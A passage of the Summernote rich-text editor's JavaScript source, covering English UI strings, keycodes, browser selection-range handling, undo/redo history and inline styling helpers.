    hasChildren: hasChildren,
    makeOffsetPath: makeOffsetPath,
    fromOffsetPath: fromOffsetPath,
    splitTree: splitTree,
    splitPoint: splitPoint,
    create: create,
    createText: createText,
    remove: remove,
    removeWhile: removeWhile,
    replace: replace,
    html: html,
    value: value,
    posFromPlaceholder: posFromPlaceholder,
    attachEvents: attachEvents,
    detachEvents: detachEvents,
    isCustomStyleTag: isCustomStyleTag
};

$$1.summernote = $$1.summernote || {
    lang: {}
};
$$1.extend($$1.summernote.lang, {
    'en-US': {
        font: {
            bold: 'Bold',
            italic: 'Italic',
            underline: 'Underline',
            clear: 'Remove Font Style',
            height: 'Line Height',
            name: 'Font Family',
            strikethrough: 'Strikethrough',
            subscript: 'Subscript',
            superscript: 'Superscript',
            size: 'Font Size'
        },
        image: {
            image: 'Picture',
            insert: 'Insert Image',
            resizeFull: 'Resize Full',
            resizeHalf: 'Resize Half',
            resizeQuarter: 'Resize Quarter',
            floatLeft: 'Float Left',
            floatRight: 'Float Right',
            floatNone: 'Float None',
            shapeRounded: 'Shape: Rounded',
            shapeCircle: 'Shape: Circle',
            shapeThumbnail: 'Shape: Thumbnail',
            shapeNone: 'Shape: None',
            dragImageHere: 'Drag image or text here',
            dropImage: 'Drop image or Text',
            selectFromFiles: 'Select from files',
            maximumFileSize: 'Maximum file size',
            maximumFileSizeError: 'Maximum file size exceeded.',
            url: 'Image URL',
            remove: 'Remove Image',
            original: 'Original'
        },
        video: {
            video: 'Video',
            videoLink: 'Video Link',
            insert: 'Insert Video',
            url: 'Video URL',
            providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'
        },
        link: {
            link: 'Link',
            insert: 'Insert Link',
            unlink: 'Unlink',
            edit: 'Edit',
            textToDisplay: 'Text to display',
            url: 'To what URL should this link go?',
            openInNewWindow: 'Open in new window'
        },
        table: {
            table: 'Table',
            addRowAbove: 'Add row above',
            addRowBelow: 'Add row below',
            addColLeft: 'Add column left',
            addColRight: 'Add column right',
            delRow: 'Delete row',
            delCol: 'Delete column',
            delTable: 'Delete table'
        },
        hr: {
            insert: 'Insert Horizontal Rule'
        },
        style: {
            style: 'Style',
            p: 'Normal',
            blockquote: 'Quote',
            pre: 'Code',
            h1: 'Header 1',
            h2: 'Header 2',
            h3: 'Header 3',
            h4: 'Header 4',
            h5: 'Header 5',
            h6: 'Header 6'
        },
        lists: {
            unordered: 'Unordered list',
            ordered: 'Ordered list'
        },
        options: {
            help: 'Help',
            fullscreen: 'Full Screen',
            codeview: 'Code View'
        },
        paragraph: {
            paragraph: 'Paragraph',
            outdent: 'Outdent',
            indent: 'Indent',
            left: 'Align left',
            center: 'Align center',
            right: 'Align right',
            justify: 'Justify full'
        },
        color: {
            recent: 'Recent Color',
            more: 'More Color',
            background: 'Background Color',
            foreground: 'Foreground Color',
            transparent: 'Transparent',
            setTransparent: 'Set transparent',
            reset: 'Reset',
            resetToDefault: 'Reset to default'
        },
        shortcut: {
            shortcuts: 'Keyboard shortcuts',
            close: 'Close',
            textFormatting: 'Text formatting',
            action: 'Action',
            paragraphFormatting: 'Paragraph formatting',
            documentStyle: 'Document Style',
            extraKeys: 'Extra keys'
        },
        help: {
            'insertParagraph': 'Insert Paragraph',
            'undo': 'Undoes the last command',
            'redo': 'Redoes the last command',
            'tab': 'Tab',
            'untab': 'Untab',
            'bold': 'Set a bold style',
            'italic': 'Set a italic style',
            'underline': 'Set a underline style',
            'strikethrough': 'Set a strikethrough style',
            'removeFormat': 'Clean a style',
            'justifyLeft': 'Set left align',
            'justifyCenter': 'Set center align',
            'justifyRight': 'Set right align',
            'justifyFull': 'Set full align',
            'insertUnorderedList': 'Toggle unordered list',
            'insertOrderedList': 'Toggle ordered list',
            'outdent': 'Outdent on current paragraph',
            'indent': 'Indent on current paragraph',
            'formatPara': 'Change current block\'s format as a paragraph(P tag)',
            'formatH1': 'Change current block\'s format as H1',
            'formatH2': 'Change current block\'s format as H2',
            'formatH3': 'Change current block\'s format as H3',
            'formatH4': 'Change current block\'s format as H4',
            'formatH5': 'Change current block\'s format as H5',
            'formatH6': 'Change current block\'s format as H6',
            'insertHorizontalRule': 'Insert horizontal rule',
            'linkDialog.show': 'Show Link Dialog'
        },
        history: {
            undo: 'Undo',
            redo: 'Redo'
        },
        specialChar: {
            specialChar: 'SPECIAL CHARACTERS',
            select: 'Select Special characters'
        }
    }
});

var KEY_MAP = {
    'BACKSPACE': 8,
    'TAB': 9,
    'ENTER': 13,
    'SPACE': 32,
    'DELETE': 46,
    // Arrow
    'LEFT': 37,
    'UP': 38,
    'RIGHT': 39,
    'DOWN': 40,
    // Number: 0-9
    'NUM0': 48,
    'NUM1': 49,
    'NUM2': 50,
    'NUM3': 51,
    'NUM4': 52,
    'NUM5': 53,
    'NUM6': 54,
    'NUM7': 55,
    'NUM8': 56,
    // Alphabet: a-z
    'B': 66,
    'E': 69,
    'I': 73,
    'J': 74,
    'K': 75,
    'L': 76,
    'R': 82,
    'S': 83,
    'U': 85,
    'V': 86,
    'Y': 89,
    'Z': 90,
    'SLASH': 191,
    'LEFTBRACKET': 219,
    'BACKSLASH': 220,
    'RIGHTBRACKET': 221
};
/**
 * @class core.key
 *
 * Object for keycodes.
 *
 * @singleton
 * @alternateClassName key
 */
var key = {
    /**
     * @method isEdit
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isEdit: function (keyCode) {
        return lists.contains([
            KEY_MAP.BACKSPACE,
            KEY_MAP.TAB,
            KEY_MAP.ENTER,
            KEY_MAP.SPACE,
            KEY_MAP.DELETE
        ], keyCode);
    },
    /**
     * @method isMove
     *
     * @param {Number} keyCode
     * @return {Boolean}
     */
    isMove: function (keyCode) {
        return lists.contains([
            KEY_MAP.LEFT,
            KEY_MAP.UP,
            KEY_MAP.RIGHT,
            KEY_MAP.DOWN
        ], keyCode);
    },
    /**
     * @property {Object} nameFromCode
     * @property {String} nameFromCode.8 "BACKSPACE"
     */
    nameFromCode: func.invertObject(KEY_MAP),
    code: KEY_MAP
};

/**
 * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js
 *
 * @param {TextRange} textRange
 * @param {Boolean} isStart
 * @return {BoundaryPoint}
 *
 * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx
 */
function textRangeToPoint(textRange, isStart) {
    var container = textRange.parentElement();
    var offset;
    var tester = document.body.createTextRange();
    var prevContainer;
    var childNodes = lists.from(container.childNodes);
    for (offset = 0; offset < childNodes.length; offset++) {
        if (dom.isText(childNodes[offset])) {
            continue;
        }
        tester.moveToElementText(childNodes[offset]);
        if (tester.compareEndPoints('StartToStart', textRange) >= 0) {
            break;
        }
        prevContainer = childNodes[offset];
    }
    if (offset !== 0 && dom.isText(childNodes[offset - 1])) {
        var textRangeStart = document.body.createTextRange();
        var curTextNode = null;
        textRangeStart.moveToElementText(prevContainer || container);
        textRangeStart.collapse(!prevContainer);
        curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;
        var pointTester = textRange.duplicate();
        pointTester.setEndPoint('StartToStart', textRangeStart);
        var textCount = pointTester.text.replace(/[\r\n]/g, '').length;
        while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        // [workaround] enforce IE to re-reference curTextNode, hack
        var dummy = curTextNode.nodeValue; // eslint-disable-line
        if (isStart && curTextNode.nextSibling && dom.isText(curTextNode.nextSibling) &&
            textCount === curTextNode.nodeValue.length) {
            textCount -= curTextNode.nodeValue.length;
            curTextNode = curTextNode.nextSibling;
        }
        container = curTextNode;
        offset = textCount;
    }
    return {
        cont: container,
        offset: offset
    };
}
/**
 * return TextRange from boundary point (inspired by google closure-library)
 * @param {BoundaryPoint} point
 * @return {TextRange}
 */
function pointToTextRange(point) {
    var textRangeInfo = function (container, offset) {
        var node, isCollapseToStart;
        if (dom.isText(container)) {
            var prevTextNodes = dom.listPrev(container, func.not(dom.isText));
            var prevContainer = lists.last(prevTextNodes).previousSibling;
            node = prevContainer || container.parentNode;
            offset += lists.sum(lists.tail(prevTextNodes), dom.nodeLength);
            isCollapseToStart = !prevContainer;
        }
        else {
            node = container.childNodes[offset] || container;
            if (dom.isText(node)) {
                return textRangeInfo(node, 0);
            }
            offset = 0;
            isCollapseToStart = false;
        }
        return {
            node: node,
            collapseToStart: isCollapseToStart,
            offset: offset
        };
    };
    var textRange = document.body.createTextRange();
    var info = textRangeInfo(point.node, point.offset);
    textRange.moveToElementText(info.node);
    textRange.collapse(info.collapseToStart);
    textRange.moveStart('character', info.offset);
    return textRange;
}
/**
   * Wrapped Range
   *
   * @constructor
   * @param {Node} sc - start container
   * @param {Number} so - start offset
   * @param {Node} ec - end container
   * @param {Number} eo - end offset
   */
var WrappedRange = /** @class */ (function () {
    function WrappedRange(sc, so, ec, eo) {
        this.sc = sc;
        this.so = so;
        this.ec = ec;
        this.eo = eo;
        // isOnEditable: judge whether range is on editable or not
        this.isOnEditable = this.makeIsOn(dom.isEditable);
        // isOnList: judge whether range is on list node or not
        this.isOnList = this.makeIsOn(dom.isList);
        // isOnAnchor: judge whether range is on anchor node or not
        this.isOnAnchor = this.makeIsOn(dom.isAnchor);
        // isOnCell: judge whether range is on cell node or not
        this.isOnCell = this.makeIsOn(dom.isCell);
        // isOnData: judge whether range is on data node or not
        this.isOnData = this.makeIsOn(dom.isData);
    }
    // nativeRange: get nativeRange from sc, so, ec, eo
    WrappedRange.prototype.nativeRange = function () {
        if (env.isW3CRangeSupport) {
            var w3cRange = document.createRange();
            w3cRange.setStart(this.sc, this.so);
            w3cRange.setEnd(this.ec, this.eo);
            return w3cRange;
        }
        else {
            var textRange = pointToTextRange({
                node: this.sc,
                offset: this.so
            });
            textRange.setEndPoint('EndToEnd', pointToTextRange({
                node: this.ec,
                offset: this.eo
            }));
            return textRange;
        }
    };
    WrappedRange.prototype.getPoints = function () {
        return {
            sc: this.sc,
            so: this.so,
            ec: this.ec,
            eo: this.eo
        };
    };
    WrappedRange.prototype.getStartPoint = function () {
        return {
            node: this.sc,
            offset: this.so
        };
    };
    WrappedRange.prototype.getEndPoint = function () {
        return {
            node: this.ec,
            offset: this.eo
        };
    };
    /**
     * select update visible range
     */
    WrappedRange.prototype.select = function () {
        var nativeRng = this.nativeRange();
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (selection.rangeCount > 0) {
                selection.removeAllRanges();
            }
            selection.addRange(nativeRng);
        }
        else {
            nativeRng.select();
        }
        return this;
    };
    /**
     * Moves the scrollbar to start container(sc) of current range
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.scrollIntoView = function (container) {
        var height = $$1(container).height();
        if (container.scrollTop + height < this.sc.offsetTop) {
            container.scrollTop += Math.abs(container.scrollTop + height - this.sc.offsetTop);
        }
        return this;
    };
    /**
     * @return {WrappedRange}
     */
    WrappedRange.prototype.normalize = function () {
        /**
         * @param {BoundaryPoint} point
         * @param {Boolean} isLeftToRight
         * @return {BoundaryPoint}
         */
        var getVisiblePoint = function (point, isLeftToRight) {
            if ((dom.isVisiblePoint(point) && !dom.isEdgePoint(point)) ||
                (dom.isVisiblePoint(point) && dom.isRightEdgePoint(point) && !isLeftToRight) ||
                (dom.isVisiblePoint(point) && dom.isLeftEdgePoint(point) && isLeftToRight) ||
                (dom.isVisiblePoint(point) && dom.isBlock(point.node) && dom.isEmpty(point.node))) {
                return point;
            }
            // point on block's edge
            var block = dom.ancestor(point.node, dom.isBlock);
            if (((dom.isLeftEdgePointOf(point, block) || dom.isVoid(dom.prevPoint(point).node)) && !isLeftToRight) ||
                ((dom.isRightEdgePointOf(point, block) || dom.isVoid(dom.nextPoint(point).node)) && isLeftToRight)) {
                // returns point already on visible point
                if (dom.isVisiblePoint(point)) {
                    return point;
                }
                // reverse direction
                isLeftToRight = !isLeftToRight;
            }
            var nextPoint = isLeftToRight ? dom.nextPointUntil(dom.nextPoint(point), dom.isVisiblePoint)
                : dom.prevPointUntil(dom.prevPoint(point), dom.isVisiblePoint);
            return nextPoint || point;
        };
        var endPoint = getVisiblePoint(this.getEndPoint(), false);
        var startPoint = this.isCollapsed() ? endPoint : getVisiblePoint(this.getStartPoint(), true);
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * returns matched nodes on range
     *
     * @param {Function} [pred] - predicate function
     * @param {Object} [options]
     * @param {Boolean} [options.includeAncestor]
     * @param {Boolean} [options.fullyContains]
     * @return {Node[]}
     */
    WrappedRange.prototype.nodes = function (pred, options) {
        pred = pred || func.ok;
        var includeAncestor = options && options.includeAncestor;
        var fullyContains = options && options.fullyContains;
        // TODO compare points and sort
        var startPoint = this.getStartPoint();
        var endPoint = this.getEndPoint();
        var nodes = [];
        var leftEdgeNodes = [];
        dom.walkPoint(startPoint, endPoint, function (point) {
            if (dom.isEditable(point.node)) {
                return;
            }
            var node;
            if (fullyContains) {
                if (dom.isLeftEdgePoint(point)) {
                    leftEdgeNodes.push(point.node);
                }
                if (dom.isRightEdgePoint(point) && lists.contains(leftEdgeNodes, point.node)) {
                    node = point.node;
                }
            }
            else if (includeAncestor) {
                node = dom.ancestor(point.node, pred);
            }
            else {
                node = point.node;
            }
            if (node && pred(node)) {
                nodes.push(node);
            }
        }, true);
        return lists.unique(nodes);
    };
    /**
     * returns commonAncestor of range
     * @return {Element} - commonAncestor
     */
    WrappedRange.prototype.commonAncestor = function () {
        return dom.commonAncestor(this.sc, this.ec);
    };
    /**
     * returns expanded range by pred
     *
     * @param {Function} pred - predicate function
     * @return {WrappedRange}
     */
    WrappedRange.prototype.expand = function (pred) {
        var startAncestor = dom.ancestor(this.sc, pred);
        var endAncestor = dom.ancestor(this.ec, pred);
        if (!startAncestor && !endAncestor) {
            return new WrappedRange(this.sc, this.so, this.ec, this.eo);
        }
        var boundaryPoints = this.getPoints();
        if (startAncestor) {
            boundaryPoints.sc = startAncestor;
            boundaryPoints.so = 0;
        }
        if (endAncestor) {
            boundaryPoints.ec = endAncestor;
            boundaryPoints.eo = dom.nodeLength(endAncestor);
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * @param {Boolean} isCollapseToStart
     * @return {WrappedRange}
     */
    WrappedRange.prototype.collapse = function (isCollapseToStart) {
        if (isCollapseToStart) {
            return new WrappedRange(this.sc, this.so, this.sc, this.so);
        }
        else {
            return new WrappedRange(this.ec, this.eo, this.ec, this.eo);
        }
    };
    /**
     * splitText on range
     */
    WrappedRange.prototype.splitText = function () {
        var isSameContainer = this.sc === this.ec;
        var boundaryPoints = this.getPoints();
        if (dom.isText(this.ec) && !dom.isEdgePoint(this.getEndPoint())) {
            this.ec.splitText(this.eo);
        }
        if (dom.isText(this.sc) && !dom.isEdgePoint(this.getStartPoint())) {
            boundaryPoints.sc = this.sc.splitText(this.so);
            boundaryPoints.so = 0;
            if (isSameContainer) {
                boundaryPoints.ec = boundaryPoints.sc;
                boundaryPoints.eo = this.eo - this.so;
            }
        }
        return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo);
    };
    /**
     * delete contents on range
     * @return {WrappedRange}
     */
    WrappedRange.prototype.deleteContents = function () {
        if (this.isCollapsed()) {
            return this;
        }
        var rng = this.splitText();
        var nodes = rng.nodes(null, {
            fullyContains: true
        });
        // find new cursor point
        var point = dom.prevPointUntil(rng.getStartPoint(), function (point) {
            return !lists.contains(nodes, point.node);
        });
        var emptyParents = [];
        $$1.each(nodes, function (idx, node) {
            // find empty parents
            var parent = node.parentNode;
            if (point.node !== parent && dom.nodeLength(parent) === 1) {
                emptyParents.push(parent);
            }
            dom.remove(node, false);
        });
        // remove empty parents
        $$1.each(emptyParents, function (idx, node) {
            dom.remove(node, false);
        });
        return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize();
    };
    /**
     * makeIsOn: return isOn(pred) function
     */
    WrappedRange.prototype.makeIsOn = function (pred) {
        return function () {
            var ancestor = dom.ancestor(this.sc, pred);
            return !!ancestor && (ancestor === dom.ancestor(this.ec, pred));
        };
    };
    /**
     * @param {Function} pred
     * @return {Boolean}
     */
    WrappedRange.prototype.isLeftEdgeOf = function (pred) {
        if (!dom.isLeftEdgePoint(this.getStartPoint())) {
            return false;
        }
        var node = dom.ancestor(this.sc, pred);
        return node && dom.isLeftEdgeOf(this.sc, node);
    };
    /**
     * returns whether range was collapsed or not
     */
    WrappedRange.prototype.isCollapsed = function () {
        return this.sc === this.ec && this.so === this.eo;
    };
    /**
     * wrap inline nodes which children of body with paragraph
     *
     * @return {WrappedRange}
     */
    WrappedRange.prototype.wrapBodyInlineWithPara = function () {
        if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) {
            this.sc.innerHTML = dom.emptyPara;
            return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0);
        }
        /**
         * [workaround] firefox often create range on not visible point. so normalize here.
         *  - firefox: |<p>text</p>|
         *  - chrome: <p>|text|</p>
         */
        var rng = this.normalize();
        if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) {
            return rng;
        }
        // find inline top ancestor
        var topAncestor;
        if (dom.isInline(rng.sc)) {
            var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline));
            topAncestor = lists.last(ancestors);
            if (!dom.isInline(topAncestor)) {
                topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so];
            }
        }
        else {
            topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0];
        }
        // siblings not in paragraph
        var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse();
        inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline));
        // wrap with paragraph
        if (inlineSiblings.length) {
            var para = dom.wrap(lists.head(inlineSiblings), 'p');
            dom.appendChildNodes(para, lists.tail(inlineSiblings));
        }
        return this.normalize();
    };
    /**
     * insert node at current cursor
     *
     * @param {Node} node
     * @return {Node}
     */
    WrappedRange.prototype.insertNode = function (node) {
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node));
        if (info.rightNode) {
            info.rightNode.parentNode.insertBefore(node, info.rightNode);
        }
        else {
            info.container.appendChild(node);
        }
        return node;
    };
    /**
     * insert html at current cursor
     */
    WrappedRange.prototype.pasteHTML = function (markup) {
        var contentsContainer = $$1('<div></div>').html(markup)[0];
        var childNodes = lists.from(contentsContainer.childNodes);
        var rng = this.wrapBodyInlineWithPara().deleteContents();
        return childNodes.reverse().map(function (childNode) {
            return rng.insertNode(childNode);
        }).reverse();
    };
    /**
     * returns text in range
     *
     * @return {String}
     */
    WrappedRange.prototype.toString = function () {
        var nativeRng = this.nativeRange();
        return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text;
    };
    /**
     * returns range for word before cursor
     *
     * @param {Boolean} [findAfter] - find after cursor, default: false
     * @return {WrappedRange}
     */
    WrappedRange.prototype.getWordRange = function (findAfter) {
        var endPoint = this.getEndPoint();
        if (!dom.isCharPoint(endPoint)) {
            return this;
        }
        var startPoint = dom.prevPointUntil(endPoint, function (point) {
            return !dom.isCharPoint(point);
        });
        if (findAfter) {
            endPoint = dom.nextPointUntil(endPoint, function (point) {
                return !dom.isCharPoint(point);
            });
        }
        return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset);
    };
    /**
     * create offsetPath bookmark
     *
     * @param {Node} editable
     */
    WrappedRange.prototype.bookmark = function (editable) {
        return {
            s: {
                path: dom.makeOffsetPath(editable, this.sc),
                offset: this.so
            },
            e: {
                path: dom.makeOffsetPath(editable, this.ec),
                offset: this.eo
            }
        };
    };
    /**
     * create offsetPath bookmark base on paragraph
     *
     * @param {Node[]} paras
     */
    WrappedRange.prototype.paraBookmark = function (paras) {
        return {
            s: {
                path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)),
                offset: this.so
            },
            e: {
                path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)),
                offset: this.eo
            }
        };
    };
    /**
     * getClientRects
     * @return {Rect[]}
     */
    WrappedRange.prototype.getClientRects = function () {
        var nativeRng = this.nativeRange();
        return nativeRng.getClientRects();
    };
    return WrappedRange;
}());
/**
 * Data structure
 *  * BoundaryPoint: a point of dom tree
 *  * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range
 *
 * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position
 */
var range = {
    /**
     * create Range Object From arguments or Browser Selection
     *
     * @param {Node} sc - start container
     * @param {Number} so - start offset
     * @param {Node} ec - end container
     * @param {Number} eo - end offset
     * @return {WrappedRange}
     */
    create: function (sc, so, ec, eo) {
        if (arguments.length === 4) {
            return new WrappedRange(sc, so, ec, eo);
        }
        else if (arguments.length === 2) {
            ec = sc;
            eo = so;
            return new WrappedRange(sc, so, ec, eo);
        }
        else {
            var wrappedRange = this.createFromSelection();
            if (!wrappedRange && arguments.length === 1) {
                wrappedRange = this.createFromNode(arguments[0]);
                return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML);
            }
            return wrappedRange;
        }
    },
    createFromSelection: function () {
        var sc, so, ec, eo;
        if (env.isW3CRangeSupport) {
            var selection = document.getSelection();
            if (!selection || selection.rangeCount === 0) {
                return null;
            }
            else if (dom.isBody(selection.anchorNode)) {
                // Firefox: returns entire body as range on initialization.
                // We won't never need it.
                return null;
            }
            var nativeRng = selection.getRangeAt(0);
            sc = nativeRng.startContainer;
            so = nativeRng.startOffset;
            ec = nativeRng.endContainer;
            eo = nativeRng.endOffset;
        }
        else {
            var textRange = document.selection.createRange();
            var textRangeEnd = textRange.duplicate();
            textRangeEnd.collapse(false);
            var textRangeStart = textRange;
            textRangeStart.collapse(true);
            var startPoint = textRangeToPoint(textRangeStart, true);
            var endPoint = textRangeToPoint(textRangeEnd, false);
            // same visible point case: range was collapsed.
            if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) &&
                dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) &&
                endPoint.node.nextSibling === startPoint.node) {
                startPoint = endPoint;
            }
            sc = startPoint.cont;
            so = startPoint.offset;
            ec = endPoint.cont;
            eo = endPoint.offset;
        }
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from node
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNode: function (node) {
        var sc = node;
        var so = 0;
        var ec = node;
        var eo = dom.nodeLength(ec);
        // browsers can't target a picture or void node
        if (dom.isVoid(sc)) {
            so = dom.listPrev(sc).length - 1;
            sc = sc.parentNode;
        }
        if (dom.isBR(ec)) {
            eo = dom.listPrev(ec).length - 1;
            ec = ec.parentNode;
        }
        else if (dom.isVoid(ec)) {
            eo = dom.listPrev(ec).length;
            ec = ec.parentNode;
        }
        return this.create(sc, so, ec, eo);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeBefore: function (node) {
        return this.createFromNode(node).collapse(true);
    },
    /**
     * create WrappedRange from node after position
     *
     * @param {Node} node
     * @return {WrappedRange}
     */
    createFromNodeAfter: function (node) {
        return this.createFromNode(node).collapse();
    },
    /**
     * @method
     *
     * create WrappedRange from bookmark
     *
     * @param {Node} editable
     * @param {Object} bookmark
     * @return {WrappedRange}
     */
    createFromBookmark: function (editable, bookmark) {
        var sc = dom.fromOffsetPath(editable, bookmark.s.path);
        var so = bookmark.s.offset;
        var ec = dom.fromOffsetPath(editable, bookmark.e.path);
        var eo = bookmark.e.offset;
        return new WrappedRange(sc, so, ec, eo);
    },
    /**
     * @method
     *
     * create WrappedRange from paraBookmark
     *
     * @param {Object} bookmark
     * @param {Node[]} paras
     * @return {WrappedRange}
     */
    createFromParaBookmark: function (bookmark, paras) {
        var so = bookmark.s.offset;
        var eo = bookmark.e.offset;
        var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path);
        var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path);
        return new WrappedRange(sc, so, ec, eo);
    }
};

/**
 * @method readFileAsDataURL
 *
 * read contents of file as representing URL
 *
 * @param {File} file
 * @return {Promise} - then: dataUrl
 */
function readFileAsDataURL(file) {
    return $$1.Deferred(function (deferred) {
        $$1.extend(new FileReader(), {
            onload: function (e) {
                var dataURL = e.target.result;
                deferred.resolve(dataURL);
            },
            onerror: function (err) {
                deferred.reject(err);
            }
        }).readAsDataURL(file);
    }).promise();
}
/**
 * @method createImage
 *
 * create `<image>` from url string
 *
 * @param {String} url
 * @return {Promise} - then: $image
 */
function createImage(url) {
    return $$1.Deferred(function (deferred) {
        var $img = $$1('<img>');
        $img.one('load', function () {
            $img.off('error abort');
            deferred.resolve($img);
        }).one('error abort', function () {
            $img.off('load').detach();
            deferred.reject($img);
        }).css({
            display: 'none'
        }).appendTo(document.body).attr('src', url);
    }).promise();
}

var History = /** @class */ (function () {
    function History($editable) {
        this.stack = [];
        this.stackOffset = -1;
        this.$editable = $editable;
        this.editable = $editable[0];
    }
    History.prototype.makeSnapshot = function () {
        var rng = range.create(this.editable);
        var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } };
        return {
            contents: this.$editable.html(),
            bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark)
        };
    };
    History.prototype.applySnapshot = function (snapshot) {
        if (snapshot.contents !== null) {
            this.$editable.html(snapshot.contents);
        }
        if (snapshot.bookmark !== null) {
            range.createFromBookmark(this.editable, snapshot.bookmark).select();
        }
    };
    /**
    * @method rewind
    * Rewinds the history stack back to the first snapshot taken.
    * Leaves the stack intact, so that "Redo" can still be used.
    */
    History.prototype.rewind = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        // Return to the first available snapshot.
        this.stackOffset = 0;
        // Apply that snapshot.
        this.applySnapshot(this.stack[this.stackOffset]);
    };
    /**
    * @method reset
    * Resets the history stack completely; reverting to an empty editor.
    */
    History.prototype.reset = function () {
        // Clear the stack.
        this.stack = [];
        // Restore stackOffset to its original value.
        this.stackOffset = -1;
        // Clear the editable area.
        this.$editable.html('');
        // Record our first snapshot (of nothing).
        this.recordUndo();
    };
    /**
     * undo
     */
    History.prototype.undo = function () {
        // Create snap shot if not yet recorded
        if (this.$editable.html() !== this.stack[this.stackOffset].contents) {
            this.recordUndo();
        }
        if (this.stackOffset > 0) {
            this.stackOffset--;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * redo
     */
    History.prototype.redo = function () {
        if (this.stack.length - 1 > this.stackOffset) {
            this.stackOffset++;
            this.applySnapshot(this.stack[this.stackOffset]);
        }
    };
    /**
     * recorded undo
     */
    History.prototype.recordUndo = function () {
        this.stackOffset++;
        // Wash out stack after stackOffset
        if (this.stack.length > this.stackOffset) {
            this.stack = this.stack.slice(0, this.stackOffset);
        }
        // Create new snapshot and push it to the end
        this.stack.push(this.makeSnapshot());
    };
    return History;
}());

var Style = /** @class */ (function () {
    function Style() {
    }
    /**
     * @method jQueryCSS
     *
     * [workaround] for old jQuery
     * passing an array of style properties to .css()
     * will result in an object of property-value pairs.
     * (compability with version < 1.9)
     *
     * @private
     * @param  {jQuery} $obj
     * @param  {Array} propertyNames - An array of one or more CSS properties.
     * @return {Object}
     */
    Style.prototype.jQueryCSS = function ($obj, propertyNames) {
        if (env.jqueryVersion < 1.9) {
            var result_1 = {};
            $$1.each(propertyNames, function (idx, propertyName) {
                result_1[propertyName] = $obj.css(propertyName);
            });
            return result_1;
        }
        return $obj.css(propertyNames);
    };
    /**
     * returns style object from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Style.prototype.fromNode = function ($node) {
        var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height'];
        var styleInfo = this.jQueryCSS($node, properties) || {};
        styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10);
        return styleInfo;
    };
    /**
     * paragraph level style
     *
     * @param {WrappedRange} rng
     * @param {Object} styleInfo
     */
    Style.prototype.stylePara = function (rng, styleInfo) {
        $$1.each(rng.nodes(dom.isPara, {
            includeAncestor: true
        }), function (idx, para) {
            $$1(para).css(styleInfo);
        });
    };
    /**
     * insert and returns styleNodes on range.
     *
     * @param {WrappedRange} rng
     * @param {Object} [options] - options for styleNodes
     * @param {String} [options.nodeName] - default: `SPAN`
     * @param {Boolean} [options.expandClosestSibling] - default: `false`
     * @param {Boolean} [options.onlyPartialContains] - default: `false`
     * @return {Node[]}
     */
    Style.prototype.styleNodes = function (rng, options) {
        rng = rng.splitText();
        var nodeName = (options && options.nodeName) || 'SPAN';
        var expandClosestSibling = !!(options && options.expandClosestSibling);
        var onlyPartialContains = !!(options && options.onlyPartialContains);
        if (rng.isCollapsed()) {
            return [rng.insertNode(dom.create(nodeName))];
        }
        var pred = dom.makePredByNodeName(nodeName);
        var nodes = rng.nodes(dom.isText, {
            fullyContains: true
        }).map(function (text) {
            return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);
        });
        if (expandClosestSibling) {
            if (onlyPartialContains) {
                var nodesInRange_1 = rng.nodes();
                // compose with partial contains predication
                pred = func.and(pred, function (node) {
                    return lists.contains(nodesInRange_1, node);
                });
            }
            return nodes.map(function (node) {
                var siblings = dom.withClosestSiblings(node, pred);
                var head = lists.head(siblings);
                var tails = lists.tail(siblings);
                $$1.each(tails, function (idx, elem) {
                    dom.appendChildNodes(head, elem.childNodes);
                    dom.remove(elem);
                });
                return lists.head(siblings);
            });
        }
        else {
            return nodes;
        }
    };
    /**
